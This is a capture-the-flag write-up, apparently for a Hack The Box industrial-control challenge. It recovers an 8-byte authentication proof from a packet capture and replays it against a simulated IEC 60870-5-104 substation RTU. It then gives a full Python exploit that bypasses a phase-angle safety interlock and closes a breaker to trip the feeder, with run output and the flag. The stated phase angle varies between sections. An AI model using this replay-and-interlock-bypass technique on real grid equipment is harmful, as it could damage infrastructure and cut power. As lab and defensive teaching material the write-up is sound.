Stormbound crews found a Frostline feeder RTU still guarding the Crownspire east transfer bus. The live HMI shows a loaded transfer pump and a transfer breaker held open by an interlock. Recover enough control to force the unsafe transfer and collect the checkpoint token from the resulting feeder-trip alarm.
An IEC 60870-5-104 RTU that authenticates maintenance access with a single replayable packet - and never checks how old it is. The 4.6 KB packet capture in the handout contains a complete operator session, which is both the credential and the manual.
$ ls -la
-rw-r--r--@ 1 feyrer staff 4667 Jun 7 12:31 backup.pcap
$ file backup.pcap
backup.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4
A single capture, 48 frames. That is the entire handout.
Two ports. The first speaks a binary protocol and says nothing on its own:
$ nc 154.57.164.68 30379
asdf
$ nc 154.57.164.68 30379
oink
The second is HTTP:
$ nc 154.57.164.68 31607
asdf
<!DOCTYPE HTML>
<html lang="en">
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('asdf').</p>
</body>
</html>
Opening it in a browser gives the HMI - a live one-line diagram of the feeder bus with measurements, controller state and an alarm table:
Starting state: 52-M closed, 52-T open, transfer pump running,
Last Auth: none, and a standing WARN that 52-T close is inhibited by the
phase-angle interlock.
Conclusion: The first port is the RTU (IEC 60870-5-104 runs on 2404), the second is the HMI. The HMI is read-only for us, but invaluable: it shows in real time whether an attack step landed.
A pcap with an ICS challenge attached - start by letting tshark name the protocol.
$ tshark -r backup.pcap
4 22:10:22.713788 172.17.0.1 -> 172.17.0.5 IEC 60870-5-104 <- U (STARTDT act)
6 22:10:22.722908 172.17.0.5 -> 172.17.0.1 IEC 60870-5-104 -> U (STARTDT con)
8 22:10:22.722981 172.17.0.1 -> 172.17.0.5 IEC 60870-5 ASDU <- I (0,0) ASDU=17
<TypeId=104> Act IOA=266500
10 22:10:22.827755 172.17.0.5 -> 172.17.0.1 IEC 60870-5 ASDU -> I (0,1) ASDU=17
M_ME_NC_1 Per/Cyc IOA[4]=2101-2104
...
Conclusion: IEC 60870-5-104
on port 2404. Filter to the protocol frames only to get rid of the TCP noise:
tshark -r backup.pcap '(iec60870_5_103 or iec60870_asdu or iec60870_104)'
Two TCP connections, back to back, from the same client, together under half a second. Why would an operator station reconnect?
Session A sends exactly one I-frame and hangs up:
TypeId=104 (C_TS_NA_1, test command), CA 17, IOA 266500, 8 bytes of payload
The standard defines a 2-byte test pattern for C_TS_NA_1. This carries 8. The RTU answers only with its cyclic measurements - not with a response to the command.
Session B does the actual work, in two phases:
C_IC_NA_1 general interrogation -> ActCon, Inrogen measurements, ActTerm
C_CS_NA_1 clock sync -> ActCon
C_SC_NA_1 IOA 1101, twice -> ActCon / ActCon + ActTerm
C_SC_NA_1 IOA 1201, twice -> ActCon / ActCon + ActTerm
Conclusion: Issuing one isolated command and then disconnecting is the tell. Taken
together with the HMI showing Last Auth: none, session A is the
authentication - and because session B still switches successfully afterwards, that state
lives in the RTU, not in the TCP connection. Which means it can be replayed from anywhere.
Before touching the live RTU, work out what every address in the capture is for.
| Address | Role |
|---|---|
| CA 17 | this station (also shown in the HMI header) |
| IOA 2101-2104 | four measured values, sent cyclically |
| IOA 1101 | control point, switched first |
| IOA 1201 | control point, switched second |
| IOA 266500 | appears only in the auth frame, nowhere else |
Each control point gets two commands: the first is answered with ActCon only, the second with ActCon and ActTerm. That is select-before-operate, not a retry.
Conclusion: The attack plan is fully determined at this point, without dumping a single byte. Combined with the alarm text ("52-T transfer close inhibited by phase-angle interlock"), IOA 1101 is the interlock and 1201 is breaker 52-T - and the order matters. The hex payloads are needed only to copy the token verbatim.
The 8 bytes in the auth frame are the whole credential.
$ tshark -r backup.pcap -Y "tcp.len>0" -T fields -e tcp.payload \
| awk '/^6815/ { print substr($0, length($0)-15) }'
bb322456bda87cee
Conclusion: Replay these 8 bytes as C_TS_NA_1 to IOA 266500. Note the capture is seven weeks old - if the RTU accepts it anyway, the whole scheme is broken.
First attempts drove all steps through a single connection, with pauses in between to watch the HMI. That failed in two different ways.
Neither rule survives a keypress in the middle of a session. The fix is structural: give every step its own connection - connect, replay the proof at once, send the one command, disconnect. The reading pauses then sit between bursts, where nothing is connected and no timer is running.
Conclusion: The capture had already shown this shape - session A carries nothing but the proof, session B does the switching. The exploit mirrors it.
The RTU's responses are terse. Something more readable helps while iterating.
The HMI web server exposes /status.json and /alarms. Polling
/status.json shows whether authorized is set, how much handoff
time is left, and which command the RTU processed last - so each burst can be verified
before the next one is fired.
Conclusion: Attack sequence: STARTDT act, replay the proof, general interrogation and clock sync, then select+execute ON at IOA 1101 (bypasses the interlock), then select+execute ON at IOA 1201 (closes 52-T into a 12.4 degree phase difference). Then listen for the spontaneous trip alarm, which carries the token.
4exploit.py - a minimal master station. Three bursts, each with its own
connection, and reading pauses in between so the HMI can be watched. All three arguments
are mandatory: the container is redeployed constantly, and a stale built-in address would
fire a live attack at whatever happens to be listening there now.
#!/usr/bin/env python3
"""
Full exploit for the Frostline RLY-104 feeder guard (IEC 60870-5-104).
The RTU hands out a maintenance "handoff" in exchange for the 8-byte proof
captured in backup.pcap and never checks that the proof is seven weeks old.
Without an active handoff every switching command is refused, so the attack
is: replay the proof, bypass the phase-angle interlock at IOA 1101, then
close breaker 52-T at IOA 1201 into a 13 degree phase difference.
Two timing rules were found the hard way and shape the structure below:
- The proof is only accepted right after the connection is opened. Sent
ten seconds in, the same bytes come back as "bad proof rejected".
- The handoff it grants runs out after about 30 seconds, after which the
RTU answers "no active handoff".
Neither rule survives a keypress in the middle of a session, which is why
each step here gets a connection of its own: connect, replay the proof at
once, send the one command, disconnect. The pauses then sit between those
bursts rather than inside them, and the HMI can be read for as long as it
takes to see each tile flip. The capture works the same way - its session A
carries nothing but the proof, session B does the switching.
Usage:
python3 4exploit.py <host> [iec104_port] [web_port]
python3 4exploit.py <host> [iec104_port] [web_port] --auto
"""
import json
import socket
import struct
import sys
import threading
import time
import urllib.request
# Target host and both ports are mandatory arguments, never defaults: the
# container is redeployed constantly, so a stale built-in address would fire
# a live attack at whatever happens to be listening there now.
# Current instance: 154.57.164.66, RTU 31240, HMI 31879
M_ME_NC_1 = 13 # measured value, short float, with quality descriptor
C_SC_NA_1 = 45
C_CS_NA_1 = 103
C_TS_NA_1 = 104
IOA_MEASUREMENTS = 2101
MEASUREMENT_NAMES = ["Bus Voltage kV", "Feeder Load MW",
"Sync Angle deg", "TX Temp C"]
COT_ACT = 6
COT_NEGATIVE = 0x40 # bit 6 of the cause octet: request refused
CA = 17
CA_BROADCAST = 0xFFFF
AUTH_IOA = 266500
AUTH_TOKEN = bytes.fromhex("bb322456bda87cee")
# CP56Time2a from capture frame 27 -> 2026-06-06 20:10:22.943
CAPTURE_TIME = bytes.fromhex("9f590a1406061a")
IOA_INTERLOCK_BYPASS = 1101
IOA_BREAKER_52T = 1201
STARTDT_SETTLE = 0.4 # wait for STARTDT con before the proof goes out
AUTH_SETTLE = 0.8 # time for the RTU to rule on the proof
SELECT_PAUSE = 0.25 # between select and execute
ALARM_WAIT = 5.0 # listen for the spontaneous trip alarm
INTERACTIVE = True
def pause(what_to_watch):
"""Wait between steps. Safe at any length: nothing is connected here."""
if not INTERACTIVE:
time.sleep(0.5)
return
# Kept on separate short lines: as one long line the terminal truncated
# it mid-word and the prompt was easy to miss.
print("\n " + "-" * 60)
print(" CHECK THE HMI: %s" % what_to_watch)
try:
input(" >>> press RETURN to continue <<<\n")
except EOFError: # no terminal attached, e.g. stdin from /dev/null
time.sleep(0.5)
def ioa3(value):
"""Information object address: 3 octets, little endian."""
return struct.pack("<I", value)[:3]
def asdu(type_id, cot, ca, ioa, payload=b""):
"""One ASDU carrying a single information object.
Layout: TypeID | VSQ | COT | OA | CA(2) | IOA(3) | payload
"""
return (bytes([type_id, 0x01, cot, 0x00])
+ struct.pack("<H", ca) + ioa3(ioa) + payload)
class Client:
"""Minimal master station: framing, sequence numbers, reader thread."""
def __init__(self, host, port, last_measurements=None):
self.sock = socket.create_connection((host, port), timeout=15)
self.tx = 0
self.rx = 0
self.running = True
self.rejected = []
self.last_measurements = last_measurements
threading.Thread(target=self._read_loop, daemon=True).start()
def send_u(self, code):
"""Link control; 0x07 is STARTDT act."""
self.sock.sendall(bytes([0x68, 0x04, code, 0x00, 0x00, 0x00]))
def send_s(self):
"""Acknowledge everything received so far."""
self.sock.sendall(b"\x68\x04\x01\x00" + struct.pack("<H", self.rx << 1))
def send_i(self, body):
self.sock.sendall(bytes([0x68, len(body) + 4])
+ struct.pack("<HH", self.tx << 1, self.rx << 1)
+ body)
self.tx += 1
def auth(self):
"""Replay the captured proof (capture frame 8), byte for byte."""
self.send_i(asdu(C_TS_NA_1, COT_ACT, CA, AUTH_IOA, AUTH_TOKEN))
def clock_sync(self):
"""Wind the RTU clock back to the capture's own timestamp."""
self.send_i(asdu(C_CS_NA_1, COT_ACT, CA_BROADCAST, 0, CAPTURE_TIME))
def single_command(self, ioa, select):
sco = 0x81 if select else 0x01 # bit7 S/E, bit0 SCS=ON
print(" IOA %d %s" % (ioa, "select" if select else "execute"))
self.send_i(asdu(C_SC_NA_1, COT_ACT, CA, ioa, bytes([sco])))
def operate(self, ioa):
"""Select-before-operate: the RTU refuses a bare execute."""
self.single_command(ioa, select=True)
time.sleep(SELECT_PAUSE)
self.single_command(ioa, select=False)
time.sleep(SELECT_PAUSE)
def _read_loop(self):
buf = b""
while self.running:
try:
chunk = self.sock.recv(4096)
except (socket.timeout, TimeoutError):
continue
except OSError:
break
if not chunk:
break
buf += chunk
# buf[1] is the length octet: APDU size excluding start + length
while len(buf) >= 2 and len(buf) >= buf[1] + 2:
frame, buf = buf[:buf[1] + 2], buf[buf[1] + 2:]
if len(frame) > 6 and frame[2] & 0x01 == 0: # I-frame
self.rx = (struct.unpack("<H", frame[2:4])[0] >> 1) + 1
body = frame[6:]
if len(body) >= 9 and body[2] & COT_NEGATIVE:
ioa = int.from_bytes(body[6:9], "little")
self.rejected.append(ioa)
print(" !! IOA %d rejected by the RTU" % ioa)
elif len(body) >= 9 and body[0] == M_ME_NC_1:
self._show_measurements(body)
self.send_s()
def _show_measurements(self, body):
"""Report the cyclic measurements, but only when a value moves.
The RTU repeats them once a second; unchanged, they say nothing.
The transitions do: 12.4 deg is why the interlock holds 52-T open,
and voltage collapsing to zero is the trip taking the feeder down.
"""
if self.last_measurements is None:
return
if int.from_bytes(body[6:9], "little") != IOA_MEASUREMENTS:
return
payload = body[9:]
values = []
for index in range(body[1] & 0x7F):
chunk = payload[index * 5:index * 5 + 4] # float32 + quality byte
if len(chunk) < 4:
break
values.append(round(struct.unpack("<f", chunk)[0], 2))
previous = self.last_measurements
if not values or values == previous:
return
for index, value in enumerate(values):
name = (MEASUREMENT_NAMES[index] if index < len(MEASUREMENT_NAMES)
else "IOA %d" % (IOA_MEASUREMENTS + index))
if not previous: # first reading of the run: the baseline
print(" %-16s %8.2f" % (name, value))
elif index >= len(previous):
print(" %-16s %8.2f" % (name, value))
elif previous[index] != value:
print(" %-16s %8.2f -> %8.2f"
% (name, previous[index], value))
self.last_measurements[:] = values
def close(self):
self.running = False
try:
self.sock.close()
except OSError:
pass
def fetch(host, web_port, path):
"""Read the HMI's own JSON, the only place the verdict is spelled out."""
url = "http://%s:%d%s" % (host, web_port, path)
with urllib.request.urlopen(url, timeout=5) as response:
return json.load(response)
def burst(host, port, web_port, ioa=None, measurements=None):
"""Connect, prove, optionally switch one point, disconnect.
Kept deliberately short: both the proof and the handoff it grants are
only good for a few seconds, so nothing may sit between these calls.
The measurement list is carried in from the caller so that readings
stay comparable across the three separate connections.
"""
client = Client(host, port, measurements)
client.send_u(0x07)
time.sleep(STARTDT_SETTLE)
client.auth()
time.sleep(AUTH_SETTLE)
state = fetch(host, web_port, "/status.json")
if not state["authorized"]:
# If the bytes alone are refused the check may be against the RTU
# clock, so wind it back into the capture's window and try again.
print(" refused (%s) - winding the clock back"
% state["last_handoff"])
client.clock_sync()
time.sleep(SELECT_PAUSE)
client.auth()
time.sleep(AUTH_SETTLE)
state = fetch(host, web_port, "/status.json")
if not state["authorized"]:
print("[-] no handoff: %s" % state["last_handoff"])
client.close()
return False
print(" handoff active: %s (%.1f s)"
% (state["last_handoff"], state["authorized_ttl"]))
if ioa is not None:
client.operate(ioa)
client.close()
return True
def main():
global INTERACTIVE
INTERACTIVE = "--auto" not in sys.argv
args = [a for a in sys.argv[1:] if a != "--auto"]
if len(args) != 3:
sys.exit("usage: %s <host> <iec104_port> <web_port> [--auto]\n\n"
"All three are mandatory - this fires a live attack, so\n"
"the target is never taken from a built-in default.\n"
"Pauses between steps so the HMI can be read;\n"
"--auto runs straight through." % sys.argv[0])
host, port, web_port = args[0], int(args[1]), int(args[2])
print("[+] target %s:%d, HMI on :%d" % (host, port, web_port))
# Shared across all three connections so only real changes get printed.
measurements = []
# Step 1: prove the replay works, without switching anything yet.
print("[*] replaying the captured maintenance proof")
if not burst(host, port, web_port, measurements=measurements):
return
pause("'Last Auth' -> stale proof accepted, 'Handoff' -> countdown")
# Step 2: the interlock is what holds 52-T open, so it has to go first.
print("[*] bypassing the phase-angle interlock (IOA %d)"
% IOA_INTERLOCK_BYPASS)
if not burst(host, port, web_port, IOA_INTERLOCK_BYPASS, measurements):
return
pause("tile 'INTERLOCK BYPASS' -> active, the INHIBIT alarm clears")
# Step 3: close into the phase difference the interlock was preventing.
print("[*] closing 52-T (IOA %d)" % IOA_BREAKER_52T)
if not burst(host, port, web_port, IOA_BREAKER_52T, measurements):
return
print("[*] waiting for the trip alarm ...")
time.sleep(ALARM_WAIT)
state = fetch(host, web_port, "/status.json")
process = state["process"]
print("\n[+] interlock bypass : %s" % process["interlock_bypass"])
print("[+] 52-T closed : %s" % process["tie_breaker_closed"])
print("[+] feeder trip : %s" % process["feeder_trip"])
print("[+] last command : %s" % state["last_command"])
for alarm in fetch(host, web_port, "/alarms")["alarms"]:
message = alarm["message"]
print("\n[%s] %s" % (alarm["severity"], alarm["id"]))
# The flag goes on a line of its own. Printed as part of the alarm
# text it runs past 80 columns, and a terminal that truncates rather
# than wraps silently swallows the second half of the token.
if "HTB{" in message:
head, flag = message.split("HTB{", 1)
print(" %s" % head.strip())
print("\nHTB{%s" % flag)
else:
print(" %s" % message)
if __name__ == "__main__":
main()
$ python3 4exploit.py 154.57.164.66 31240 31879
[+] target 154.57.164.66:31240, HMI on :31879
[*] replaying the captured maintenance proof
Bus Voltage kV 11.24
Feeder Load MW 3.72
Sync Angle deg 13.50
TX Temp C 67.00
handoff active: stale maintenance proof accepted (29.2 s)
------------------------------------------------------------
CHECK THE HMI: 'Last Auth' -> stale proof accepted, 'Handoff' -> countdown
>>> press RETURN to continue <<<
[*] bypassing the phase-angle interlock (IOA 1101)
handoff active: stale maintenance proof accepted (29.2 s)
IOA 1101 select
IOA 1101 execute
------------------------------------------------------------
CHECK THE HMI: tile 'INTERLOCK BYPASS' -> active, the INHIBIT alarm clears
>>> press RETURN to continue <<<
[*] closing 52-T (IOA 1201)
handoff active: stale maintenance proof accepted (29.2 s)
IOA 1201 select
IOA 1201 execute
[*] waiting for the trip alarm ...
[+] interlock bypass : True
[+] 52-T closed : False
[+] feeder trip : True
[+] last command : 52-T close caused phase-slip trip
[CRIT] RLY104-PHASE-SLIP
52-T phase-slip trip asserted - TOKEN
HTB{104_stale_handoff_tripped_52t_0400adc1541779ab666613141c35b6ff}
The HMI tells the same story in four frames:
Step 1 - the replay lands. Last Auth flips from none to
stale maintenance proof accepted and the Handoff countdown
starts. A seven-week-old credential, accepted without complaint.
Step 2 - the interlock falls. The INTERLOCK BYPASS tile goes
active and the standing INHIBIT warning clears from the alarm table. 52-T is
now closeable.
Step 3 - the trip. Closing 52-T into a 15.6 degree phase difference trips the feeder: both breakers open, the pump stops, bus voltage and load drop to zero. The CRIT alarm carries the token.
Note that 52-T closed reads False in the output - the breaker
did close, and the phase-slip protection immediately tripped it back open. That trip is
the goal, not a failure.
HTB{104_stale_handoff_tripped_52t_0400adc1541779ab666613141c35b6ff}
The token is instance-specific - a second run against a freshly deployed container yielded
HTB{104_stale_handoff_tripped_52t_fd39851a30f50f8895a1145a6d4dfd57}, same
prefix, different suffix.
| # | Stage | Mechanism |
|---|---|---|
| 1 | The capture is the credential | Session A of backup.pcap is one C_TS_NA_1 to IOA 266500 carrying 8
bytes where the standard defines 2. Those bytes are the maintenance proof. |
| 2 | The flaw | The RTU accepts the proof without any freshness check - no nonce, no timestamp binding, no replay window. A capture from seven weeks earlier still authenticates. |
| 3 | State lives in the RTU | Session A disconnects immediately, yet session B still switches. The handoff is bound to the device, not the TCP connection, so it can be replayed from anywhere. |
| 4 | Two-step control | Every control point needs select-before-operate. IOA 1101 (interlock bypass) must come before IOA 1201 (breaker 52-T) - the order is readable straight from the capture. |
| 5 | The unsafe transfer | With the interlock bypassed, 52-T closes into a ~13 degree phase difference. The phase-slip protection trips the feeder, and the resulting CRIT alarm carries the token. |
The interesting part is how much of this comes from traffic analysis alone. The addressing, the command order, the fact that authentication is a single unbound packet - all of it is visible in 48 frames of capture, without decoding a single payload byte. The hex was needed only to copy the token verbatim. That is also the lesson for the defending side: an authentication step that is one replayable packet, not tied to the session or to time, is fully documented by anyone who ever watched it happen once.